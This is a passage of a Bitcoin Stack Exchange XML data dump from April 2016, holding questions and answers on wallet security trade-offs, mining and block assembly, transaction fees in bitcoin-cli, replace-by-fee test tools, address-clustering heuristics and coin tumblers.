  <row Id="43881" PostTypeId="2" ParentId="43829" CreationDate="2016-04-27T16:10:30.910" Score="3" Body="&lt;p&gt;After some time the network nodes will simply drop the transaction from memory. &lt;a href=&quot;https://www.youtube.com/watch?v=GiU4b7ldKMs&amp;amp;feature=youtu.be&amp;amp;t=2829&quot; rel=&quot;nofollow&quot;&gt;See here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35131" LastActivityDate="2016-04-27T16:10:30.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43882" PostTypeId="2" ParentId="43875" CreationDate="2016-04-27T17:11:14.140" Score="5" Body="&lt;p&gt;I am not a trader, so I don't have much advice to offer in terms of which services are best.  However, I do have some thoughts and experience with storing bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a technology standpoint, bitcoins are secured by the private keys held by the owner of the coins.  Private keys are cryptographically amazing, but terrible in terms of user experience.  If the management of private keys was easy to create an interface for, the internet would be a much more secure place.  Unfortunately, humans have proven really bad and managing private keys.  This is the problem every bitcoin wallet attempts to solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand your options for managing private keys (wallets), you have to understand how the security model works.  As the name suggests, private keys are meant to remain private.  Anyone who has knowledge of them has access to your bitcoins.  Meanwhile, you also never want to lose your own access to the private keys.  If you do, you lose your bitcoins.  This creates a problem with solutions that have an indirect relationship between the two issues.  If your private keys are well protected, you increase the chance that you will lose your access as well.  If your private keys are easily accessible, you are unlikely to lose them, but far more likely to be robbed.  There are some &lt;a href=&quot;https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;elegant technical solutions&lt;/a&gt; for this paradox, but no user-friendly solutions that come to mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's explore some of the options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Web Wallets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the case where some online service manages your private keys for you, but gives you access to control how the bitcoins they store are used.  Personally, I would define the owner of the bitcoins to be whomever has access to the private keys.  With this viewpoint, you are not the owner of the bitcoins held in an online wallet.  You are the owner of an account with an organization who owns the bitcoins on your behalf.  The question of whether it is &quot;safe&quot; to store 50 to 100 bitcoins in an online wallet can only be answered by answering one or both of these questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do I trust this 3rd party with 50 to 100 bitcoins (both with honesty and security)?&lt;/li&gt;&#xA;&lt;li&gt;Can I afford to lose 50 to 100 bitcoins?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If your answer to either question is &quot;no&quot;, then you may want to consider reducing the amount you store in the online wallet to an acceptable amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hardware Wallets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are single-purpose computers that manage your private keys for you.  Because they are usually offline devices, they go a long way towards being hacker-proof, but remember that there really is no such thing.  These sound great, and many people have started using them, but I'm personally skeptical.  These products were created from a growing demand, and rushed to market to beat out competitors.  Even if the security is perfect (which it never is), you are now trusting your wealth to the reliability of these machines.  I would recommend letting the market settle down for a couple of years, and let a few more generations come out, before trusting too much of your wealth to these devices.  You don't want the scenario where the thing won't power on, but you have your life savings stored on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mobile App Wallets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These wallets are by far the most convenient for day to day use, perhaps even more so than online wallets.  You can scan QR codes to pay people, generate QR codes to be paid, and have your funds at your fingertips as you go about your day.  The drawbacks are also pretty steep.  Your funds are now only as secure as your phone.  If you get malware, you could lose your money.  If your phone gets lost or stolen, you lose your money.  If your device breaks (ex. dropped in the toilet), you may lose your money.  I view a mobile app wallet as I view a physical wallet.  You don't go about your day to day business hauling around your retirement savings.  You only leave the house with as much cash as you plan on spending that day, and try to keep it to what you can afford to lose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Desktop Wallets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the case of running Bitcoin Core, or Electrum, or some other desktop-based wallet.  In principal, these are about the same as a mobile app wallet, with the advantage that you may be participating as a full-node in the Bitcoin network.  This allows you to trust transactions and blocks more than with an &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4649/what-is-an-spv-client&quot;&gt;SPV Wallet&lt;/a&gt;, but doesn't really offer anything better in terms of the management of private keys.  Desktop wallets can be run on your day to day desktop, or perhaps a desktop that is usually kept offline and used only for bitcoin transactions.  Like with mobile app wallets, the security of this wallet is only as secure as the computer it runs on.  Also remember that software wallets (both mobile and desktop) have the ability to backup the wallet files, which can add to their reliability, but increase the number of ways your bitcoins can be compromised.  Again, there's always a trade off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Paper Wallets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;https://en.bitcoin.it/wiki/Paper_wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;paper wallet&lt;/a&gt; is a physical, paper document that contains a QR code of the the private key to a Bitcoin address.  You can store money in the wallet by sending bitcoins to the address, and then redeem them later by importing the private key into some other type of wallet.  This document can then be stored in a safe, a safety deposit box, buried in the woods, or anywhere else that you feel is safe from burglary and fire.  Think of this as a stack of fiat currency being held in a safe.  This is one of the safest ways to store your bitcoins, but is terribly inconvenient.  There is also the question about how the address was generated in the first place.  If you don't trust the software/organization that generated the paper wallet, then you can't trust the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Brain Wallets&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;https://en.bitcoin.it/wiki/Brainwallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;brain wallet&lt;/a&gt; is a way of generating a private key from a passphrase that is not stored anywhere, but rather remembered by the owner of the wallet.  It is much like a paper wallet, except that the private key is never written down.  Again, you must trust the software used to generate this address from your passphrase.  You will also most likely want to generate a passphrase, rather than use a passage from literature or a song lyric.  With computer speed and storage increasing along an exponential curve, and all the worlds books being digitized, it is not unthinkable that someone will attempt to steal bitcoins by brute forcing every known phrase from every book and song.  With cryptography, randomness is extremely important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To conclude, diversification is always a good strategy for wealth management, and bitcoins are no different.  If you spread out your bitcoins between different types of wallets on different storage mediums, then you are less likely to lose everything, but more likely to lose &lt;em&gt;something&lt;/em&gt;.  If you limit exposure to the wallets you use for long-term holding, you increase your security.  Just don't forget your password, passphrase, safe combination, place you buried it, or whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-04-27T17:11:14.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43883" PostTypeId="1" CreationDate="2016-04-27T17:45:37.367" Score="1" ViewCount="354" Body="&lt;p&gt;I'm doing some research on anonymous developers in the crypto currency space. Satoshi Nakamoto was the first to create a crypto currency and then vanish from existence. Another one was BCNext that create the NXT platform and then vanished. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other anonymous developers took the same approach? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-06-07T07:19:44.543" Title="Are there any other anonymous developers like Satoshi Nakamoto and BCNext that abandoned their project?" Tags="|privacy|satoshi-nakamoto|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43888" PostTypeId="2" ParentId="43872" CreationDate="2016-04-27T19:42:17.913" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/petertodd/replace-by-fee-tools&quot; rel=&quot;nofollow&quot;&gt;RBF Tools by Peter Todd&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page contains&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;..tools to test out replace-by-fee functionality. You'll need a local&#xA;  node with the replace-by-fee patch.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;E.g. &#xA;To double spend &lt;code&gt;./double-spend.py &amp;lt;address&amp;gt; &amp;lt;amount&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To just increase fee &lt;code&gt;./bump-fee.py &amp;lt;txid&amp;gt;&lt;/code&gt; etc.&lt;/p&gt;&#xA;" OwnerUserId="25114" LastActivityDate="2016-04-27T19:42:17.913" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43889" PostTypeId="1" CreationDate="2016-04-27T19:45:51.880" Score="0" ViewCount="104" Body="&lt;p&gt;I am interested in developing a crypto-currency (who isn't), but I have no interest in the blockchain mining aspect of it. I want to program one that emits the coins when someone has performed some verified work in the real world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, does that still require the use of blockchain?&lt;/p&gt;&#xA;" OwnerUserId="35136" LastActivityDate="2016-04-28T14:03:07.737" Title="Is blockchain necessary?" Tags="|transactions|blockchain|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43890" PostTypeId="2" ParentId="43889" CreationDate="2016-04-27T20:20:33.363" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to program one that emits the coins when someone has performed&#xA;  some verified work in the real world.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is fiat currency. You receive some coins for performing some work for someone :) No blockchain needed&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2016-04-27T20:20:33.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43891" PostTypeId="1" CreationDate="2016-04-27T21:06:49.557" Score="1" ViewCount="397" Body="&lt;p&gt;I need that for a charting application. Is there any place providing that data for free?&lt;/p&gt;&#xA;" OwnerUserId="32710" LastActivityDate="2016-04-27T21:06:49.557" Title="Where can I get a complete, 1-minute precision OHLC data for the BTC/USD trading pair?" Tags="|exchange-rate|charts|historical-trade-data|" AnswerCount="0" CommentCount="0" ClosedDate="2019-08-04T00:02:23.563" ContentLicense="CC BY-SA 3.0" />
  <row Id="43892" PostTypeId="1" CreationDate="2016-04-27T23:08:13.537" Score="3" ViewCount="2749" Body="&lt;p&gt;I want to run the following command via &lt;code&gt;bitcoin-cli&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoin-cli sendfrom &quot;10302c02147e2948cbejd9a2bd80d9691ef08a6a4d416c2bb602143a4anj06b90e&quot; &quot;32cjBTQkfLBp38ixj7hdjk0cc90VPPnwhQ&quot; 3.04384215 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note the account and address to above are not real, as I edited the info) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to understand is, how do I add the fee to the transaction? On the &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;API calls list&lt;/a&gt;, I found the command &lt;code&gt;settxfee&lt;/code&gt; and amount&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But where do I put this in the command? Also, the option of GUI and other wallets or sort is not an option. I have to run this via command line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And bonus question: Where can I find out what the fee should be to clear within one block? &lt;/p&gt;&#xA;" OwnerUserId="31658" LastEditorUserId="5406" LastEditDate="2016-04-28T15:23:26.250" LastActivityDate="2016-04-30T18:41:25.097" Title="How can I set the transaction fee when creating a transaction through Bitcoin-cli commands?" Tags="|bitcoind|transaction-fees|raw-transaction|bitcoin-cli|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43893" PostTypeId="1" CreationDate="2016-04-27T23:51:35.910" Score="2" ViewCount="303" Body="&lt;p&gt;How are the latest transactions collected into new block to send them to miners for hashing? Which part of the network is responsible for giving miners the correct block to hash?&lt;/p&gt;&#xA;" OwnerUserId="83779" LastEditorUserId="5406" LastEditDate="2016-04-28T15:20:41.390" LastActivityDate="2016-04-28T15:20:41.390" Title="How are transactions collected into new block?" Tags="|transaction-fees|mining-theory|transaction-selection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43894" PostTypeId="1" AcceptedAnswerId="43895" CreationDate="2016-04-28T00:02:34.433" Score="1" ViewCount="2560" Body="&lt;p&gt;I know that new blocks are relayed one block per 10 minutes but that time is not exact but average so: Who decides that the new block is ready to hash?&lt;/p&gt;&#xA;" OwnerUserId="83779" LastEditorUserId="5406" LastEditDate="2016-04-28T15:20:19.017" LastActivityDate="2016-04-28T23:24:29.507" Title="Who decides that the new block is ready to hash?" Tags="|blockchain|mining-theory|difficulty|block-interval|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43895" PostTypeId="2" ParentId="43894" CreationDate="2016-04-28T00:25:26.477" Score="2" Body="&lt;p&gt;A new block is &lt;em&gt;ready&lt;/em&gt; to hash as soon as the last block has been solved. Miners immediately start to try solving the next block. As soon as one of them succeeds, that block is published and all the miners move to work on the following one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;difficulty&lt;/em&gt; is adjusted so that a solution is found by somebody, out of all the active miners, on average about once every 10 minutes.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2016-04-28T00:25:26.477" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="43896" PostTypeId="2" ParentId="43893" CreationDate="2016-04-28T01:21:58.937" Score="2" Body="&lt;p&gt;The mempool as it is called, stores transactions that are propagated by the peer to peer network.  Miners have the ability to select which transactions they include in the block.  It is beneficial for the miners to collect as many transactions as possible so they can obtain the most amount of fees that they can.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-04-28T01:21:58.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43898" PostTypeId="2" ParentId="43893" CreationDate="2016-04-28T04:04:27.130" Score="2" Body="&lt;p&gt;If you are running a node, you can call the getblocktemplate API and you'll actually see all the transactions within the mempool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site shows the &lt;a href=&quot;https://chainquery.com/bitcoin-api/getblocktemplate/true&quot; rel=&quot;nofollow&quot;&gt;mempool transactions&lt;/a&gt;. You then get your code to typically sort from highest fees to lowest fees, run other checks such as is it within the MAX_BLOCK_SIZE and then create a block header that is to be hashed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Which part of the network is responsible for giving miners the correct block to hash?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would be your network. You create the block header and send it somewhere to start the hashing process. That somewhere could be your laptop, it could be a dedicated miner connected to your laptop or it could be a dedicated miner connected to a raspberry pi that is connected to your home/local network. &lt;/p&gt;&#xA;" OwnerUserId="31581" LastActivityDate="2016-04-28T04:04:27.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43901" PostTypeId="1" CreationDate="2016-04-28T08:20:05.053" Score="1" ViewCount="167" Body="&lt;p&gt;i want update my RaspNode (rPi 2 B+) to the 0.12.1 but i want to use Bitcoin wallet GUI. So, it's necessary to install QT V 5.5...&lt;br&gt;&#xA;V 0.11.2 use QT 4.8, but 0.12.1 uses QT V 5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to install QT V 5.5 for raspberry ??&lt;/p&gt;&#xA;" OwnerUserId="35147" LastActivityDate="2016-04-28T08:20:05.053" Title="How to upgrade my node with bitcoin wallet GUI from 0.11.2 to 0.12.1? Install qt V5.5?" Tags="|bitcoind|client|nodes|raspberry-pi|full-node|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43902" PostTypeId="2" ParentId="43510" CreationDate="2016-04-28T08:30:42.963" Score="1" Body="&lt;p&gt;If there is lack of indicators in the software and lack of documentation you can always send some small amounts of bitcoins to your public key from another key.&lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2016-04-28T08:30:42.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43903" PostTypeId="2" ParentId="9176" CreationDate="2016-04-28T12:47:56.593" Score="1" Body="&lt;p&gt;We already know the complete Bitcoin reward schedule. The first block to create no new bitcoins will be at height &lt;code&gt;6,930,000&lt;/code&gt;. Therefore, anyway that wants to watch for the end of the mining reward can just look at the block height.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-04-28T12:47:56.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43904" PostTypeId="2" ParentId="43889" CreationDate="2016-04-28T14:03:07.737" Score="1" Body="&lt;p&gt;The blockchain is simply a solution for decentralized consensus.  Think of the blockchain as a big database that contains a ledger of who owns how many coins.  The question is, who can be trusted to maintain this ledger?  If a single entity owns it, then that entity can act maliciously (steal other people's money) or be coerced/shut down by governments.  The blockchain is a solution to create a ledger where nobody is in charge, but rather operates by agreement.  The proof-of-work that miners perform make it unfeasible for any one individual to control the entire network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have the need for decentralized consensus, then you don't need a blockchain.  It sounds like you want to be in complete control of the issuing of new currency, and therefore, a blockchain would be a wasteful solution for you.  If you don't want your currency to have any central authority, then a blockchain is a well-vetted solution.  It all depends on your intent.&lt;/p&gt;&#xA;" OwnerUserId="24974" LastActivityDate="2016-04-28T14:03:07.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43905" PostTypeId="2" ParentId="43894" CreationDate="2016-04-28T15:19:47.390" Score="2" Body="&lt;p&gt;Each miner starts working on a new block, as soon as they hear about the latest one being found. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To that end, miners create block candidates and apply the hashing function. As the outputs are determininistic, yet unpredictable, this is effectively a random process where each attempt has a minuscule chance of surpassing the target difficulty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever one miner manages to find a block candidate that is below the target, they have successfully found a new block. This could happen seconds after the previous block was found, or much later. The difficulty is kept at a level such that &lt;a href=&quot;https://bitcoin.stackexchange.com/q/855/5406&quot;&gt;&lt;em&gt;in average&lt;/em&gt; it is expected to take 10 minutes&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a block is found, the miner sends it to his peers which redistribute it. Every recipient can simply check that it fulfills the criteria, and then will start working on a successor.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-04-28T15:19:47.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43906" PostTypeId="2" ParentId="43870" CreationDate="2016-04-28T16:17:08.817" Score="0" Body="&lt;p&gt;This scenario appears a bit constructed to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Escrow:&lt;/strong&gt;&lt;br&gt;&#xA;Shortterm escrow services are usually used to mediate a payment between two parties, providing a tie-breaker to make sure the payee fulfills the paid service, and payer pays services rendered. I don't see what need someone might have that requires relinquishing control of his money to a third party just to withdraw within minutes. Hence, it seems contra intuitive that an &quot;escrow&quot; service would exist that facilitates deposits and withdrawals of a payment at such a frequency. A similar situation might be constructed with an exchange, though. They don't usually guarantee payout times as far as I know, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Confirmations:&lt;/strong&gt;&lt;br&gt;&#xA;If the payee is waiting for at least one confirmation, the payer must be under the influence of a Sybil attack and fed false blockchain data, or the attacker must create an alternative blockchain tip that orphans the block the payee relies on for the confirmation. Either way, the attacker must create at least one block before the withdrawal which would constitute quite an investment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Attack is easily countered:&lt;/strong&gt;&lt;br&gt;&#xA;In the situation that a client wants to withdraw back immediately, the &quot;escrow&quot; would create a transaction using the transaction output of the deposit transaction as input. That way, the client would get their money back reliably if it was paid, or the withdrawal would fail, if their money never arrived in the escrow's wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How many confirmations to wait?&lt;/strong&gt;&lt;br&gt;&#xA;If I were offering an &quot;escrow&quot; service, I'd be implementing it via 2 of 3 multisig addresses. The three keys would belong to Payer, Payee, and Escrow. As the address would be unique to the involved parties, payments would be sourced from the deposit anyhow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the amounts involved and the quality of my business relationship with the involved parties, I'd wait at least between one and four confirmations before I'd pronounce the payment as received.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-04-30T07:01:07.717" LastActivityDate="2016-04-30T07:01:07.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43908" PostTypeId="1" AcceptedAnswerId="44282" CreationDate="2016-04-28T22:53:29.653" Score="2" ViewCount="641" Body="&lt;p&gt;I'm using NBitcoin and I created an &lt;code&gt;ExtKey&lt;/code&gt; object. Now I need to get the Master Chain Code (see page 89 of Mastering Bitcoin for a good explanation) for this HD node. How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to Mastering Bitcoin a root seed is used with HMAC-SHA512 to create a 512-bits output. The left 256 bits are used for the master private key, the right 256 bits are used for the master chain code. When I call &lt;code&gt;GetBytes()&lt;/code&gt; on my &lt;code&gt;ExtKey&lt;/code&gt; object, however, it returns a byte[74] array. This corresponds to 592 bits. I don't know what the extra 80 bits are so I can't just take the right 256 bits.&lt;/p&gt;&#xA;" OwnerUserId="31236" LastActivityDate="2016-05-22T18:35:15.720" Title="How to get Master Chain Code" Tags="|bip32-hd-wallets|nbitcoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43910" PostTypeId="2" ParentId="43894" CreationDate="2016-04-28T23:24:29.507" Score="1" Body="&lt;p&gt;In addition to the other explanations, it's important to understand that verification of a block takes significant amount of time, and it's consequences. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a new block is found by a miner, this block is propagated to the rest of the network, including other miners. When other miners receive this news, they have to make a decision. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should they wait to verify the block first before starting on the next block or start immediately on the next block, and assume that the previous block was legit. The benefit of making the assumption is that there won't be any wasted time spent mining blocks that will stale (orphan), which increases their profit significantly (on the order of ~10%).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, many large mining pools skip this verification process and immediately starts work on the next block. &lt;/p&gt;&#xA;" OwnerUserId="26919" LastActivityDate="2016-04-28T23:24:29.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43911" PostTypeId="2" ParentId="37631" CreationDate="2016-04-28T23:39:20.930" Score="1" Body="&lt;p&gt;Here is a &lt;a href=&quot;https://www.youtube.com/watch?v=HScK4pkDNds&quot; rel=&quot;nofollow&quot;&gt;great video&lt;/a&gt; in which they asked: given 1 address I know belonging to someone, how many other addresses can I associate with that particular wallet. It turned out to be about 75%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method detailed in the video uses a few assumptions about how wallets work.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Multi-input heuristic&lt;/strong&gt;: All inputs in a transaction belong to the same wallet.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Shadow change heuristic&lt;/strong&gt;: Change public keys have never been seen before on the blockchain. &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Consumer change heuristic&lt;/strong&gt;: Transactions from consumer wallets have 2 or less outputs. &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Optimal change heuristic&lt;/strong&gt;: Wallets do not spend unnecessary outputs. This means that a transaction with say 2 inputs of 0.5 each and 2 outputs of 0.6 and 0.4, the 0.4 is assumed to be the change address belonging to the same wallet. This is because if the intended payment is 0.4, the wallet would have chosen a single 0.5 input. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="26919" LastEditorUserId="26919" LastEditDate="2016-05-09T18:36:27.933" LastActivityDate="2016-05-09T18:36:27.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43916" PostTypeId="2" ParentId="43003" CreationDate="2016-04-29T10:21:25.070" Score="0" Body="&lt;p&gt;Let's say A create a multisig tx.&lt;br&gt;&#xA;A sign it a transfer the raw tx to an oracle.&lt;br&gt;&#xA;The oracle listen network, check if B is included in a block.&lt;br&gt;&#xA;If B is included, the oracle will sign A tx then send it to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep it mind that an oracle in a another program &quot;somewhere&quot; and by working with it you trust a third party.&lt;/p&gt;&#xA;" OwnerUserId="26697" LastActivityDate="2016-04-29T10:21:25.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43918" PostTypeId="2" ParentId="10381" CreationDate="2016-04-29T11:08:45.733" Score="-1" Body="&lt;p&gt;Go to en.blockchaindownload.nl and download the newest chaindownload. On the site is also a guide that tells uou how it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just put that file onto a USB and you can use it over and over.&#xA;Its free to use and updates the download twice a week. It uses torrents with 2 or 3 (depending on the torrent you pick) webseeds for all the speed you need.&lt;/p&gt;&#xA;" OwnerDisplayName="user28073" LastActivityDate="2016-04-29T11:08:45.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43919" PostTypeId="2" ParentId="43003" CreationDate="2016-04-29T18:35:19.073" Score="2" Body="&lt;p&gt;I assume A spending the UTXO of an intermediate transaction C, which spends a UTXO of B doesn't count as 'unrelated', as that's just two degrees of separation instead of one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are three partial-solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;To state the obvious, you could simply wait until B is confirmed to publish A.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You could publish A with a lock time in the future and then update it at a regular interval with increasing sequences and extending the lock time each time, but that doesn't eliminate the possibility that earlier versions of A will get mined when their lock time expires. Then when B is mined you publish a new version of A without the lock time enabled.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you only require that it doesn't affect the coins moving around in transaction B, You could add an output to B that doesn't have any coins in it, and is used only for the dependency tracking of transactions. This requires that you know that you plan to publish a dependent transaction, A, ahead of time though.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think you'll find that &lt;strong&gt;there really isn't a good way to do what you are asking&lt;/strong&gt;. Transaction dependencies are usually handled by referencing outputs of the previous transaction. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In terms of the scenario where you are trying to bribe miners to confirm transactions that they have been censoring, this is essentially trying to do Child-Pays-For-Parent with transactions that cannot reference outputs. While this is still not possible, you might be able to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The community realizes that many transactions are being censored, and they want to pay miners to include their transactions. So everyone starts appending an extra OP_TRUE output to their transaction, with 0 coins in it. Then if you want to reward a miner for mining the transaction with an OP_TRUE output in it, you spend that output with an empty &lt;code&gt;scriptSig&lt;/code&gt; and spend another output to provide some fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One downside to this is that a miner will only be able to accept one person's bribes, as there is only one OP_TRUE UTXO added. But, I think if Bitcoin gets to this point, then it will likely have failed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also do an escrow, where you put coins into a 2-of-3 with you, the miner, and a trusted third party. If the miner mines &lt;code&gt;B&lt;/code&gt;, then you sign the release transaction to take the coins out of escrow and give them to the miner. If the miner doesn't mine &lt;code&gt;B&lt;/code&gt; after a certain amount of time, then you request that the trusted third party help you release your funds. This is a lot of work for a simple task, though.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2016-04-29T18:58:39.430" LastActivityDate="2016-04-29T18:58:39.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43920" PostTypeId="2" ParentId="43003" CreationDate="2016-04-29T19:35:35.227" Score="0" Body="&lt;p&gt;The only way to do it - is to flood the network with transactions with higher priority and/or with SIGOPs-attack&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2016-04-29T19:35:35.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43923" PostTypeId="2" ParentId="17807" CreationDate="2016-04-29T20:46:18.527" Score="3" Body="&lt;p&gt;I recently came across &lt;a href=&quot;http://hackingdistributed.com/2016/04/29/bitcoins-137k-jackpot/&quot; rel=&quot;nofollow&quot;&gt;an article&lt;/a&gt; that clearly articulates what a tumbler intends to accomplish. The analogy they gave was a collection plate at a church:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You may have seen collection bags that go around churches, where you put a bill in your closed fist and stick your hand in the bag, so no one knows how much you put in or took out. Imagine that we come up with a (cryptographic) protocol where I donate some amount to the local church's collection bag, so do others (however much they desire), and after the bag has made it through the congregation, I stick my hand in again and take out exactly as much as I put in during the first round from the same collection bag. In essence, we swap our bills so as to throw off anyone who may have recorded the serial numbers and is watching the coins. That's, roughly speaking, what happens in tumblers…&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-04-29T20:46:18.527" CommentCount="0" 